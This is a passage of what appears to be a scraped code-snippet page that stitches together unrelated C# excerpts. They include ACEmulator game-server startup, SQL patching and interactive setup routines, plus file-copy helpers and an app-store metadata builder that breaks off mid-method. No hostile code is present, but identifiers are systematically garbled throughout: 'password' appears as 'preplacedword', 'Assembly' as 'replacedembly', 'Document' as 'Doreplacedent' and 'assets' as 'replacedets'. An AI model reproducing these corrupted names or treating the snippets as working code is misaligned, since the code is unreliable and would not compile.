                log.Info($"AutoUpdateWorldDatabase is disabled...");

            if (ConfigManager.Config.Offline.AutoApplyDatabaseUpdates)
                AutoApplyDatabaseUpdates();
            else
                log.Info($"AutoApplyDatabaseUpdates is disabled...");

            // This should only be enabled manually. To enable it, simply uncomment this line
            //ACE.Database.OfflineTools.Shard.BiotaGuidConsolidator.ConsolidateBiotaGuids(0xC0000000, out int numberOfBiotasConsolidated, out int numberOfErrors);

            ShardDatabaseOfflineTools.CheckForBiotaPropertiesPaletteOrderColumnInShard();

            // pre-load starterGear.json, abort startup if file is not found as it is required to create new characters.
            if (Factories.StarterGearFactory.GetStarterGearConfiguration() == null)
            {
                log.Fatal("Unable to load or parse starterGear.json. ACEmulator will now abort startup.");
                ServerManager.StartupAbort();
                Environment.Exit(0);
            }

            log.Info("Initializing ServerManager...");
            ServerManager.Initialize();

            log.Info("Initializing DatManager...");
            DatManager.Initialize(ConfigManager.Config.Server.DatFilesDirectory, true);

            log.Info("Initializing DatabaseManager...");
            DatabaseManager.Initialize();

            if (DatabaseManager.InitializationFailure)
            {
                log.Fatal("DatabaseManager initialization failed. ACEmulator will now abort startup.");
                ServerManager.StartupAbort();
                Environment.Exit(0);
            }

            log.Info("Starting DatabaseManager...");
            DatabaseManager.Start();

            log.Info("Starting PropertyManager...");
            PropertyManager.Initialize();

            log.Info("Initializing GuidManager...");
            GuidManager.Initialize();

            if (ConfigManager.Config.Server.ServerPerformanceMonitorAutoStart)
            {
                log.Info("Server Performance Monitor auto starting...");
                ServerPerformanceMonitor.Start();
            }

            if (ConfigManager.Config.Server.WorldDatabasePrecaching)
            {
                log.Info("Precaching Weenies...");
                DatabaseManager.World.CacheAllWeenies();
                log.Info("Precaching Cookbooks...");
                DatabaseManager.World.CacheAllCookbooks();
                log.Info("Precaching Events...");
                DatabaseManager.World.GetAllEvents();
                log.Info("Precaching House Portals...");
                DatabaseManager.World.CacheAllHousePortals();
                log.Info("Precaching Points Of Interest...");
                DatabaseManager.World.CacheAllPointsOfInterest();
                log.Info("Precaching Spells...");
                DatabaseManager.World.CacheAllSpells();
                log.Info("Precaching Treasures - Death...");
                DatabaseManager.World.CacheAllTreasuresDeath();
                log.Info("Precaching Treasures - Material Base...");
                DatabaseManager.World.CacheAllTreasureMaterialBase();
                log.Info("Precaching Treasures - Material Groups...");
                DatabaseManager.World.CacheAllTreasureMaterialGroups();
                log.Info("Precaching Treasures - Material Colors...");
                DatabaseManager.World.CacheAllTreasureMaterialColor();
                log.Info("Precaching Treasures - Wielded...");
                DatabaseManager.World.CacheAllTreasureWielded();
            }
            else
                log.Info("Precaching World Database Disabled...");

            log.Info("Initializing PlayerManager...");
            PlayerManager.Initialize();

            log.Info("Initializing HouseManager...");
            HouseManager.Initialize();

            log.Info("Initializing InboundMessageManager...");
            InboundMessageManager.Initialize();

            log.Info("Initializing SocketManager...");
            SocketManager.Initialize();

            log.Info("Initializing WorldManager...");
            WorldManager.Initialize();

            log.Info("Initializing EventManager...");
            EventManager.Initialize();

            // Free up memory before the server goes online. This can free up 6 GB+ on larger servers.
            log.Info("Forcing .net garbage collection...");
            for (int i = 0 ; i < 10 ; i++)
                GC.Collect();

            // This should be last
            log.Info("Initializing CommandManager...");
            CommandManager.Initialize();

            if (!PropertyManager.GetBool("world_closed", false).Item)
            {
                WorldManager.Open(null);
            }
        }

19 Source : Program_DbUpdates.cs
with GNU Affero General Public License v3.0
from ACEmulator

private static void PatchDatabase(string dbType, string host, uint port, string username, string preplacedword, string database)
        {
            var updatesPath = $"DatabaseSetupScripts{Path.DirectorySeparatorChar}Updates{Path.DirectorySeparatorChar}{dbType}";
            var updatesFile = $"{updatesPath}{Path.DirectorySeparatorChar}applied_updates.txt";
            var appliedUpdates = Array.Empty<string>();

            var containerUpdatesFile = $"/ace/Config/{dbType}_applied_updates.txt";
            if (IsRunningInContainer && File.Exists(containerUpdatesFile))
                File.Copy(containerUpdatesFile, updatesFile, true);

            if (File.Exists(updatesFile))
                appliedUpdates = File.ReadAllLines(updatesFile);

            Console.WriteLine($"Searching for {dbType} update SQL scripts .... ");
            foreach (var file in new DirectoryInfo(updatesPath).GetFiles("*.sql").OrderBy(f => f.Name))
            {
                if (appliedUpdates.Contains(file.Name))
                    continue;

                Console.Write($"Found {file.Name} .... ");
                var sqlDBFile = File.ReadAllText(file.FullName);
                var sqlConnect = new MySql.Data.MySqlClient.MySqlConnection($"server={host};port={port};user={username};preplacedword={preplacedword};database={database};DefaultCommandTimeout=120");
                switch (dbType)
                {
                    case "Authentication":
                        sqlDBFile = sqlDBFile.Replace("ace_auth", database);
                        break;
                    case "Shard":
                        sqlDBFile = sqlDBFile.Replace("ace_shard", database);
                        break;
                    case "World":
                        sqlDBFile = sqlDBFile.Replace("ace_world", database);
                        break;
                }
                var script = new MySql.Data.MySqlClient.MySqlScript(sqlConnect, sqlDBFile);

                Console.Write($"Importing into {database} database on SQL server at {host}:{port} .... ");
                try
                {
                    script.StatementExecuted += new MySql.Data.MySqlClient.MySqlStatementExecutedEventHandler(OnStatementExecutedOutputDot);
                    var count = script.Execute();
                    //Console.Write($" {count} database records affected ....");
                    Console.WriteLine(" complete!");
                }
                catch (MySql.Data.MySqlClient.MySqlException ex)
                {
                    Console.WriteLine($" error!");
                    Console.WriteLine($" Unable to apply patch due to following exception: {ex}");
                }
                File.AppendAllText(updatesFile, file.Name + Environment.NewLine);
            }

            if (IsRunningInContainer && File.Exists(updatesFile))
                File.Copy(updatesFile, containerUpdatesFile, true);

            Console.WriteLine($"{dbType} update SQL scripts import complete!");
        }

19 Source : Program_Setup.cs
with GNU Affero General Public License v3.0
from ACEmulator

private static void DoOutOfBoxSetup(string configFile)
        {
            var exeLocation = Path.GetDirectoryName(System.Reflection.replacedembly.GetExecutingreplacedembly().Location);
            var configJsExample = Path.Combine(exeLocation, "Config.js.example");
            var exampleFile = new FileInfo(configJsExample);
            if (!exampleFile.Exists)
            {
                log.Error("config.js.example Configuration file is missing.  Please copy the file config.js.example to config.js and edit it to match your needs before running ACE.");
                throw new Exception("missing config.js configuration file");
            }
            else
            {
                if (!IsRunningInContainer)
                {
                    Console.WriteLine("config.js Configuration file is missing,  cloning from example file.");
                    File.Copy(configJsExample, configFile, true);
                }
                else
                {
                    Console.WriteLine("config.js Configuration file is missing, ACEmulator is running in a container,  cloning from docker file.");
                    var configJsDocker = Path.Combine(exeLocation, "Config.js.docker");
                    File.Copy(configJsDocker, configFile, true);
                }
            }

            var fileText = File.ReadAllText(configFile);
            var config = JsonConvert.DeserializeObject<MasterConfiguration>(new JsMinifier().Minify(fileText));

            Console.WriteLine("Performing setup for ACEmulator...");
            Console.WriteLine();
            Console.WriteLine();
            Console.WriteLine();
            Console.WriteLine("Welcome to ACEmulator! To configure your world for first use, please follow the instructions below. Press enter at each prompt to accept default values.");
            Console.WriteLine();
            Console.WriteLine();

            Console.Write($"Enter the name for your World (default: \"{config.Server.WorldName}\"): ");
            var variable = Console.ReadLine();
            if (IsRunningInContainer) variable = Environment.GetEnvironmentVariable("ACE_WORLD_NAME");
            if (!string.IsNullOrWhiteSpace(variable))
                config.Server.WorldName = variable.Trim();
            Console.WriteLine();

            Console.WriteLine();
            Console.WriteLine();
            Console.WriteLine("The next two entries should use defaults, unless you have specific network environments...");
            Console.WriteLine();
            Console.WriteLine();
            Console.Write($"Enter the Host address for your World (default: \"{config.Server.Network.Host}\"): ");
            variable = Console.ReadLine();
            if (!string.IsNullOrWhiteSpace(variable))
                config.Server.Network.Host = variable.Trim();
            Console.WriteLine();

            Console.Write($"Enter the Port for your World (default: \"{config.Server.Network.Port}\"): ");
            variable = Console.ReadLine();
            if (!string.IsNullOrWhiteSpace(variable))
                config.Server.Network.Port = Convert.ToUInt32(variable.Trim());
            Console.WriteLine();

            Console.WriteLine();
            Console.WriteLine();

            Console.Write($"Enter the directory location for your DAT files (default: \"{config.Server.DatFilesDirectory}\"): ");
            variable = Console.ReadLine();
            if (IsRunningInContainer) variable = Environment.GetEnvironmentVariable("ACE_DAT_FILES_DIRECTORY");
            if (!string.IsNullOrWhiteSpace(variable))
            {
                var path = Path.GetFullPath(variable.Trim());
                if (!Path.EndsInDirectorySeparator(path))
                    path += Path.DirectorySeparatorChar;
                //path = path.Replace($"{Path.DirectorySeparatorChar}", $"{Path.DirectorySeparatorChar}{Path.DirectorySeparatorChar}");

                config.Server.DatFilesDirectory = path;
            }
            Console.WriteLine();

            Console.WriteLine();
            Console.WriteLine();
            Console.WriteLine("Next we will configure your SQL server connections. You will need to know your database name, username and preplacedword for each.");
            Console.WriteLine("Default names for the databases are recommended, and it is also recommended you not use root for login to database. The preplacedword must not be blank.");
            Console.WriteLine("It is also recommended the SQL server be hosted on the same machine as this server, so defaults for Host and Port would be ideal as well.");
            Console.WriteLine("As before, pressing enter will use default value.");
            Console.WriteLine();
            Console.WriteLine();

            Console.Write($"Enter the database name for your authentication database (default: \"{config.MySql.Authentication.Database}\"): ");
            variable = Console.ReadLine();
            if (IsRunningInContainer) variable = Environment.GetEnvironmentVariable("ACE_SQL_AUTH_DATABASE_NAME");
            if (!string.IsNullOrWhiteSpace(variable))
                config.MySql.Authentication.Database = variable.Trim();
            Console.WriteLine();

            Console.Write($"Enter the database name for your shard database (default: \"{config.MySql.Shard.Database}\"): ");
            variable = Console.ReadLine();
            if (IsRunningInContainer) variable = Environment.GetEnvironmentVariable("ACE_SQL_SHARD_DATABASE_NAME");
            if (!string.IsNullOrWhiteSpace(variable))
                config.MySql.Shard.Database = variable.Trim();
            Console.WriteLine();

            Console.Write($"Enter the database name for your world database (default: \"{config.MySql.World.Database}\"): ");
            variable = Console.ReadLine();
            if (IsRunningInContainer) variable = Environment.GetEnvironmentVariable("ACE_SQL_WORLD_DATABASE_NAME");
            if (!string.IsNullOrWhiteSpace(variable))
                config.MySql.World.Database = variable.Trim();
            Console.WriteLine();

            Console.WriteLine();
            Console.WriteLine();
            Console.Write("Typically, all three databases will be on the same SQL server, is this how you want to proceed? (Y/n) ");
            variable = Console.ReadLine();
            if (IsRunningInContainer) variable = "n";
            if (!variable.Equals("n", StringComparison.OrdinalIgnoreCase) && !variable.Equals("no", StringComparison.OrdinalIgnoreCase))
            {
                Console.Write($"Enter the Host address for your SQL server (default: \"{config.MySql.World.Host}\"): ");
                variable = Console.ReadLine();
                if (!string.IsNullOrWhiteSpace(variable))
                {
                    config.MySql.Authentication.Host = variable.Trim();
                    config.MySql.Shard.Host = variable.Trim();
                    config.MySql.World.Host = variable.Trim();
                }
                Console.WriteLine();

                Console.Write($"Enter the Port for your SQL server (default: \"{config.MySql.World.Port}\"): ");
                variable = Console.ReadLine();
                if (!string.IsNullOrWhiteSpace(variable))
                {
                    config.MySql.Authentication.Port = Convert.ToUInt32(variable.Trim());
                    config.MySql.Shard.Port = Convert.ToUInt32(variable.Trim());
                    config.MySql.World.Port = Convert.ToUInt32(variable.Trim());
                }
                Console.WriteLine();
            }
            else
            {
                Console.Write($"Enter the Host address for your authentication database (default: \"{config.MySql.Authentication.Host}\"): ");
                variable = Console.ReadLine();
                if (IsRunningInContainer) variable = Environment.GetEnvironmentVariable("ACE_SQL_AUTH_DATABASE_HOST");
                if (!string.IsNullOrWhiteSpace(variable))
                    config.MySql.Authentication.Host = variable.Trim();
                Console.WriteLine();

                Console.Write($"Enter the Port for your authentication database (default: \"{config.MySql.Authentication.Port}\"): ");
                variable = Console.ReadLine();
                if (IsRunningInContainer) variable = Environment.GetEnvironmentVariable("ACE_SQL_AUTH_DATABASE_PORT");
                if (!string.IsNullOrWhiteSpace(variable))
                    config.MySql.Authentication.Port = Convert.ToUInt32(variable.Trim());
                Console.WriteLine();

                Console.Write($"Enter the Host address for your shard database (default: \"{config.MySql.Shard.Host}\"): ");
                variable = Console.ReadLine();
                if (IsRunningInContainer) variable = Environment.GetEnvironmentVariable("ACE_SQL_SHARD_DATABASE_HOST");
                if (!string.IsNullOrWhiteSpace(variable))
                    config.MySql.Shard.Host = variable.Trim();
                Console.WriteLine();

                Console.Write($"Enter the Port for your shard database (default: \"{config.MySql.Shard.Port}\"): ");
                variable = Console.ReadLine();
                if (IsRunningInContainer) variable = Environment.GetEnvironmentVariable("ACE_SQL_SHARD_DATABASE_PORT");
                if (!string.IsNullOrWhiteSpace(variable))
                    config.MySql.Shard.Port = Convert.ToUInt32(variable.Trim());
                Console.WriteLine();

                Console.Write($"Enter the Host address for your world database (default: \"{config.MySql.World.Host}\"): ");
                variable = Console.ReadLine();
                if (IsRunningInContainer) variable = Environment.GetEnvironmentVariable("ACE_SQL_WORLD_DATABASE_HOST");
                if (!string.IsNullOrWhiteSpace(variable))
                    config.MySql.World.Host = variable.Trim();
                Console.WriteLine();

                Console.Write($"Enter the Port for your world database (default: \"{config.MySql.World.Port}\"): ");
                variable = Console.ReadLine();
                if (IsRunningInContainer) variable = Environment.GetEnvironmentVariable("ACE_SQL_WORLD_DATABASE_PORT");
                if (!string.IsNullOrWhiteSpace(variable))
                    config.MySql.World.Port = Convert.ToUInt32(variable.Trim());
                Console.WriteLine();
            }

            Console.WriteLine();
            Console.WriteLine();
            Console.Write("Typically, all three databases will be on the using the same SQL server credentials, is this how you want to proceed? (Y/n) ");
            variable = Console.ReadLine();
            if (IsRunningInContainer) variable = "y";
            if (!variable.Equals("n", StringComparison.OrdinalIgnoreCase) && !variable.Equals("no", StringComparison.OrdinalIgnoreCase))
            {
                Console.Write($"Enter the username for your SQL server (default: \"{config.MySql.World.Username}\"): ");
                variable = Console.ReadLine();
                if (IsRunningInContainer) variable = Environment.GetEnvironmentVariable("MYSQL_USER");
                if (!string.IsNullOrWhiteSpace(variable))
                {
                    config.MySql.Authentication.Username = variable.Trim();
                    config.MySql.Shard.Username = variable.Trim();
                    config.MySql.World.Username = variable.Trim();
                }
                Console.WriteLine();

                Console.Write($"Enter the preplacedword for your SQL server (default: \"{config.MySql.World.Preplacedword}\"): ");
                variable = Console.ReadLine();
                if (IsRunningInContainer) variable = Environment.GetEnvironmentVariable("MYSQL_PreplacedWORD");
                if (!string.IsNullOrWhiteSpace(variable))
                {
                    config.MySql.Authentication.Preplacedword = variable.Trim();
                    config.MySql.Shard.Preplacedword = variable.Trim();
                    config.MySql.World.Preplacedword = variable.Trim();
                }
            }
            else
            {
                Console.Write($"Enter the username for your authentication database (default: \"{config.MySql.Authentication.Username}\"): ");
                variable = Console.ReadLine();
                if (!string.IsNullOrWhiteSpace(variable))
                    config.MySql.Authentication.Username = variable.Trim();
                Console.WriteLine();

                Console.Write($"Enter the preplacedword for your authentication database (default: \"{config.MySql.Authentication.Preplacedword}\"): ");
                variable = Console.ReadLine();
                if (!string.IsNullOrWhiteSpace(variable))
                    config.MySql.Authentication.Preplacedword = variable.Trim();
                Console.WriteLine();

                Console.Write($"Enter the username for your shard database (default: \"{config.MySql.Shard.Username}\"): ");
                variable = Console.ReadLine();
                if (!string.IsNullOrWhiteSpace(variable))
                    config.MySql.Shard.Username = variable.Trim();
                Console.WriteLine();

                Console.Write($"Enter the preplacedword for your shard database (default: \"{config.MySql.Shard.Preplacedword}\"): ");
                variable = Console.ReadLine();
                if (!string.IsNullOrWhiteSpace(variable))
                    config.MySql.Shard.Preplacedword = variable.Trim();
                Console.WriteLine();

                Console.Write($"Enter the username for your world database (default: \"{config.MySql.World.Username}\"): ");
                variable = Console.ReadLine();
                if (!string.IsNullOrWhiteSpace(variable))
                    config.MySql.World.Username = variable.Trim();
                Console.WriteLine();

                Console.Write($"Enter the preplacedword for your world database (default: \"{config.MySql.World.Preplacedword}\"): ");
                variable = Console.ReadLine();
                if (!string.IsNullOrWhiteSpace(variable))
                    config.MySql.World.Preplacedword = variable.Trim();
            }

            Console.WriteLine("commiting configuration to memory...");
            using (StreamWriter file = File.CreateText(configFile))
            {
                JsonSerializer serializer = new JsonSerializer();
                serializer.Formatting = Formatting.Indented;
                //serializer.NullValueHandling = NullValueHandling.Ignore;
                //serializer.DefaultValueHandling = DefaultValueHandling.Ignore;
                serializer.Serialize(file, config);
            }


            Console.WriteLine();
            Console.WriteLine();
            Console.WriteLine();
            Console.WriteLine();
            Console.Write("Do you want to ACEmulator to attempt to initilize your SQL databases? This will erase any existing ACEmulator specific databases that may already exist on the server (Y/n): ");
            variable = Console.ReadLine();
            if (IsRunningInContainer) variable = Convert.ToBoolean(Environment.GetEnvironmentVariable("ACE_SQL_INITIALIZE_DATABASES")) ? "y" : "n";
            if (!variable.Equals("n", StringComparison.OrdinalIgnoreCase) && !variable.Equals("no", StringComparison.OrdinalIgnoreCase))
            {
                Console.WriteLine();

                Console.Write($"Waiting for connection to SQL server at {config.MySql.World.Host}:{config.MySql.World.Port} .... ");
                for (; ; )
                {
                    try
                    {
                        using (var sqlTestConnection = new MySql.Data.MySqlClient.MySqlConnection($"server={config.MySql.World.Host};port={config.MySql.World.Port};user={config.MySql.World.Username};preplacedword={config.MySql.World.Preplacedword};DefaultCommandTimeout=120"))
                        {
                            Console.Write(".");
                            sqlTestConnection.Open();
                        }

                        break;
                    }
                    catch (MySql.Data.MySqlClient.MySqlException)
                    {
                        Console.Write(".");
                        Thread.Sleep(5000);
                    }
                }
                Console.WriteLine(" connected!");

                if (IsRunningInContainer)
                {
                    Console.Write("Clearing out temporary ace% database .... ");
                    var sqlDBFile = "DROP DATABASE `ace%`;";
                    var sqlConnectInfo = $"server={config.MySql.World.Host};port={config.MySql.World.Port};user={config.MySql.World.Username};preplacedword={config.MySql.World.Preplacedword};DefaultCommandTimeout=120";
                    var sqlConnect = new MySql.Data.MySqlClient.MySqlConnection(sqlConnectInfo);
                    var script = new MySql.Data.MySqlClient.MySqlScript(sqlConnect, sqlDBFile);

                    Console.Write($"Importing into SQL server at {config.MySql.World.Host}:{config.MySql.World.Port} .... ");
                    try
                    {
                        script.StatementExecuted += new MySql.Data.MySqlClient.MySqlStatementExecutedEventHandler(OnStatementExecutedOutputDot);
                        var count = script.Execute();
                    }
                    catch (MySql.Data.MySqlClient.MySqlException)
                    {

                    }
                    Console.WriteLine(" done!");
                }

                Console.WriteLine("Searching for base SQL scripts .... ");
                foreach (var file in new DirectoryInfo($"DatabaseSetupScripts{Path.DirectorySeparatorChar}Base").GetFiles("*.sql").OrderBy(f => f.Name))
                {
                    Console.Write($"Found {file.Name} .... ");
                    var sqlDBFile = File.ReadAllText(file.FullName);
                    var sqlConnectInfo = $"server={config.MySql.World.Host};port={config.MySql.World.Port};user={config.MySql.World.Username};preplacedword={config.MySql.World.Preplacedword};DefaultCommandTimeout=120";
                    switch (file.Name)
                    {
                        case "AuthenticationBase":
                            sqlConnectInfo = $"server={config.MySql.Authentication.Host};port={config.MySql.Authentication.Port};user={config.MySql.Authentication.Username};preplacedword={config.MySql.Authentication.Preplacedword};DefaultCommandTimeout=120";
                            break;
                        case "ShardBase":
                            sqlConnectInfo = $"server={config.MySql.Shard.Host};port={config.MySql.Shard.Port};user={config.MySql.Shard.Username};preplacedword={config.MySql.Shard.Preplacedword};DefaultCommandTimeout=120";
                            break;
                    }
                    var sqlConnect = new MySql.Data.MySqlClient.MySqlConnection(sqlConnectInfo);
                    var script = new MySql.Data.MySqlClient.MySqlScript(sqlConnect, sqlDBFile);

                    Console.Write($"Importing into SQL server at {config.MySql.World.Host}:{config.MySql.World.Port} .... ");
                    try
                    {
                        script.StatementExecuted += new MySql.Data.MySqlClient.MySqlStatementExecutedEventHandler(OnStatementExecutedOutputDot);
                        var count = script.Execute();
                    }
                    catch (MySql.Data.MySqlClient.MySqlException)
                    {

                    }
                    Console.WriteLine(" complete!");
                }
                Console.WriteLine("Base SQL scripts import complete!");

                Console.WriteLine("Searching for Update SQL scripts .... ");

                PatchDatabase("Authentication", config.MySql.Authentication.Host, config.MySql.Authentication.Port, config.MySql.Authentication.Username, config.MySql.Authentication.Preplacedword, config.MySql.Authentication.Database);

                PatchDatabase("Shard", config.MySql.Shard.Host, config.MySql.Shard.Port, config.MySql.Shard.Username, config.MySql.Shard.Preplacedword, config.MySql.Shard.Database);

                PatchDatabase("World", config.MySql.World.Host, config.MySql.World.Port, config.MySql.World.Username, config.MySql.World.Preplacedword, config.MySql.World.Database);
            }

            Console.WriteLine();
            Console.WriteLine();
            Console.WriteLine();
            Console.WriteLine();
            Console.Write("Do you want to download the latest world database and import it? (Y/n): ");
            variable = Console.ReadLine();
            if (IsRunningInContainer) variable = Convert.ToBoolean(Environment.GetEnvironmentVariable("ACE_SQL_DOWNLOAD_LATEST_WORLD_RELEASE")) ? "y" : "n";
            if (!variable.Equals("n", StringComparison.OrdinalIgnoreCase) && !variable.Equals("no", StringComparison.OrdinalIgnoreCase))
            {
                Console.WriteLine();

                if (IsRunningInContainer)
                {
                    Console.WriteLine(" ");
                    Console.WriteLine("This process will take a while, depending on many factors, and may look stuck while reading and importing the world database, please be patient! ");
                    Console.WriteLine(" ");
                }

                Console.Write("Looking up latest release from ACEmulator/ACE-World-16PY-Patches .... ");

                // webrequest code provided by OptimShi
                var url = "https://api.github.com/repos/ACEmulator/ACE-World-16PY-Patches/releases";
                var request = (HttpWebRequest)WebRequest.Create(url);
                request.UserAgent = "Mozilla//5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko//20100101 Firefox//72.0";
                request.UserAgent = "ACE.Server";

                var response = request.GetResponse();
                var reader = new StreamReader(response.GetResponseStream(), System.Text.Encoding.UTF8);
                var html = reader.ReadToEnd();
                reader.Close();
                response.Close();

                dynamic json = JsonConvert.DeserializeObject(html);
                string tag = json[0].tag_name;
                string dbURL = json[0].replacedets[0].browser_download_url;
                string dbFileName = json[0].replacedets[0].name;
                // webrequest code provided by OptimShi

                Console.WriteLine($"Found {tag} !");

                Console.Write($"Downloading {dbFileName} .... ");
                using (var client = new WebClient())
                {
                    client.DownloadFile(dbURL, dbFileName);
                }
                Console.WriteLine("download complete!");

                Console.Write($"Extracting {dbFileName} .... ");
                ZipFile.ExtractToDirectory(dbFileName, ".", true);
                Console.WriteLine("extraction complete!");
                Console.Write($"Deleting {dbFileName} .... ");
                File.Delete(dbFileName);
                Console.WriteLine("Deleted!");

                var sqlFile = dbFileName.Substring(0, dbFileName.Length - 4);
                Console.Write($"Importing {sqlFile} into SQL server at {config.MySql.World.Host}:{config.MySql.World.Port} (This will take a while, please be patient) .... ");
                using (var sr = File.OpenText(sqlFile))
                {
                    var sqlConnect = new MySql.Data.MySqlClient.MySqlConnection($"server={config.MySql.World.Host};port={config.MySql.World.Port};user={config.MySql.World.Username};preplacedword={config.MySql.World.Preplacedword};DefaultCommandTimeout=120");

                    var line = string.Empty;
                    var completeSQLline = string.Empty;
                    while ((line = sr.ReadLine()) != null)
                    {
                        //do minimal amount of work here
                        if (line.EndsWith(";"))
                        {
                            completeSQLline += line + Environment.NewLine;

                            var script = new MySql.Data.MySqlClient.MySqlScript(sqlConnect, completeSQLline);
                            try
                            {
                                script.StatementExecuted += new MySql.Data.MySqlClient.MySqlStatementExecutedEventHandler(OnStatementExecutedOutputDot);
                                var count = script.Execute();
                            }
                            catch (MySql.Data.MySqlClient.MySqlException)
                            {

                            }
                            completeSQLline = string.Empty;
                        }
                        else
                            completeSQLline += line + Environment.NewLine;
                    }
                }
                Console.WriteLine(" complete!");

                Console.Write($"Deleting {sqlFile} .... ");
                File.Delete(sqlFile);
                Console.WriteLine("Deleted!");
            }

            Console.WriteLine("exiting setup for ACEmulator.");
        }

19 Source : StartupTests.cs
with GNU Affero General Public License v3.0
from ACEmulator

[ClreplacedInitialize]
        public static void TestSetup(TestContext context)
        {
            // copy config.js and initialize configuration
            File.Copy(Path.Combine(Environment.CurrentDirectory, "..\\..\\..\\..\\..\\ACE.Server\\Config.js"), ".\\Config.js", true);
            ConfigManager.Initialize();
        }

19 Source : FileUtils.cs
with GNU Lesser General Public License v3.0
from acnicholas

public static void CreateConfigFile(Doreplacedent doc)
        {
            var config = Manager.GetConfigFileName(doc);
            var overwrite = TaskDialogResult.Yes;
            if (File.Exists(config))
            {
                overwrite = TaskDialog.Show(
                    "WARNING",
                    "config exists, do you want to overwrite?",
                    TaskDialogCommonButtons.No | TaskDialogCommonButtons.Yes);
            }

            if (overwrite == TaskDialogResult.Yes)
            {
                var example = SCaddins.Constants.InstallDirectory +
                              Path.DirectorySeparatorChar +
                              SCaddins.Constants.ShareDirectory +
                              Path.DirectorySeparatorChar +
                              Constants.ExampleConfigFileName;
                if (File.Exists(example)) {
                    File.Copy(example, config, true);
                }
            }
        }

19 Source : Program.cs
with GNU General Public License v3.0
from AdisonCavani

void UpdateIcons(string iconsPath, string customizePath, bool verbose)
        {
            if (!verbose)
                Console.Write("Copying icons ... ");

            foreach (var directory in DirectoriesArray(customizePath))
            {
                foreach (var icon in FilesArray(iconsPath))
                {
                    if (verbose)
                        Console.Write("Copying " + icon + " ... ");

                    File.Copy(iconsPath + @"\" + icon, directory + @"\icons\" + icon, true);

                    if (verbose)
                    {
                        Console.ForegroundColor = ConsoleColor.Green;
                        Console.Write("OK\n");
                        Console.ResetColor();
                    }
                }
            }

            if (!verbose)
            {
                Console.ForegroundColor = ConsoleColor.Green;
                Console.Write("OK\n");
                Console.ResetColor();
            }
        }

19 Source : Program.cs
with GNU General Public License v3.0
from AdisonCavani

void UpdateFonts(string fontsPath, string customizePath, bool verbose)
        {
            if (!verbose)
                Console.Write("Copying fonts ... ");

            foreach (var directory in DirectoriesArray(customizePath))
            {
                foreach (var font in FilesArray(fontsPath))
                {
                    if (verbose)
                        Console.Write("Copying " + font + " ... ");

                    File.Copy(fontsPath + @"\" + font, directory + @"\" + font, true);

                    if (verbose)
                    {
                        Console.ForegroundColor = ConsoleColor.Green;
                        Console.Write("OK\n");
                        Console.ResetColor();
                    }
                }
            }

            if (!verbose)
            {
                Console.ForegroundColor = ConsoleColor.Green;
                Console.Write("OK\n");
                Console.ResetColor();
            }
        }

19 Source : Program.cs
with GNU General Public License v3.0
from AdriaandeJongh

static void ModifyMetadata()
        {
            //scan which files there are in the created directories, see which
            // replacedets are meant for this metadata file, and modify the metadata
            // pointing at those files

            string[] allFiles = GetFilesInDirectory(replacedetsPath);
            List<replacedetData> allreplacedets = new List<replacedetData>();

            //loop through all files and create replacedetDatas for all files we'll need
            foreach (var file in allFiles)
            {
                if (file.Contains(itmspFilePath))
                    continue; //ignore all files inside the itsmp package
                
                string fileName = Path.GetFileName(file);
                string fileNameWithoutExtension = Path.GetFileNameWithoutExtension(fileName);
                string fileExtension = Path.GetExtension(fileName);
                string fileLocale = Directory.GetParent(file).Name;
                string fileDisplayTarget = Directory.GetParent(Directory.GetParent(file).FullName).Name;

                if (!displayTargets.Contains(fileDisplayTarget))
                    continue; //ignore all files not meant for this app

                if (fileExtension != ".png" && fileExtension != ".mp4")
                    continue; //ignore files that aren't replacedets

                replacedetData ad = new replacedetData();
                ad.locale = fileLocale;
                ad.fileExtension = fileExtension;
                ad.file_name = fileDisplayTarget + "-" + fileLocale + "-" + fileName;
                ad.position = fileNameWithoutExtension.Substring(fileNameWithoutExtension.Length - 1, 1);
                ad.display_target = fileDisplayTarget;
                ad.size = GetFileSize(file);
                ad.checksum = GetMD5(file);

                if (fileExtension == ".mp4")
                {
                    XmlDoreplacedent doc = new XmlDoreplacedent();
                    doc.Load(Directory.GetParent(file).FullName + "/AppPreview-settings.xml");
                    ad.preview_image_time = doc.DoreplacedentElement["preview_image_time" + ad.position].InnerText;
                }

                allreplacedets.Add(ad);


                File.Copy(file, itmspFilePath + "/" + ad.file_name, true);
            }

            //get the replacedets from the default locale
            List<replacedetData> defaultreplacedets = new List<replacedetData>();

            foreach (var ad in allreplacedets)
            {
                if (ad.locale == defaultreplacedetsLocale)
                    defaultreplacedets.Add(ad);
            }

            //now go through every locale and make sure every replacedet in the 
            // default locale is there OR the localised replacedet.
            for (int i = 0; i < locales.ChildNodes.Count; i++)
            {
                XmlElement locale = locales.ChildNodes.Item(i) as XmlElement;
                string countryCode = locale.Attributes["name"].Value;

                XmlElement appPreviews = locale["app_previews"];
                XmlElement screenshots = locale["software_screenshots"];

                if (appPreviews == null)
                {
                    appPreviews = metaDataDoreplacedent.CreateElement("app_previews", metaDataDoreplacedent.DoreplacedentElement.NamespaceURI);
                    locale.AppendChild(appPreviews);
                }
                else
                {
                    appPreviews.RemoveAll();
                }


                if (screenshots == null)
                {
                    screenshots = metaDataDoreplacedent.CreateElement("software_screenshots", metaDataDoreplacedent.DoreplacedentElement.NamespaceURI);
                    locale.AppendChild(screenshots);
                }
                else
                {
                    screenshots.RemoveAll();
                }

                foreach (replacedetData defaultreplacedet in defaultreplacedets)
                {
                    replacedetData replacedetData = null;

                    foreach (replacedetData la in allreplacedets)
                    {
                        if (la.locale == countryCode &&
                            la.position == defaultreplacedet.position &&
                            la.display_target == defaultreplacedet.display_target &&
                            la.fileExtension == defaultreplacedet.fileExtension)
                        {
                            replacedetData = la;
                            break;
                        }
                    }

                    if (replacedetData == null)
                    {
                        replacedetData = defaultreplacedet;
                    }

                    if (replacedetData.fileExtension == ".mp4")
                    {
                        XmlElement appPreview = metaDataDoreplacedent.CreateElement("app_preview", metaDataDoreplacedent.DoreplacedentElement.NamespaceURI);
                        appPreview.SetAttribute("display_target", replacedetData.display_target);
                        appPreview.SetAttribute("position", replacedetData.position);

                        XmlElement dataFile = metaDataDoreplacedent.CreateElement("data_file", metaDataDoreplacedent.DoreplacedentElement.NamespaceURI);
                        dataFile.SetAttribute("role", "source");

                        XmlElement size = metaDataDoreplacedent.CreateElement("size", metaDataDoreplacedent.DoreplacedentElement.NamespaceURI);
                        size.InnerText = replacedetData.size;
                        dataFile.AppendChild(size);

                        XmlElement fileName = metaDataDoreplacedent.CreateElement("file_name", metaDataDoreplacedent.DoreplacedentElement.NamespaceURI);
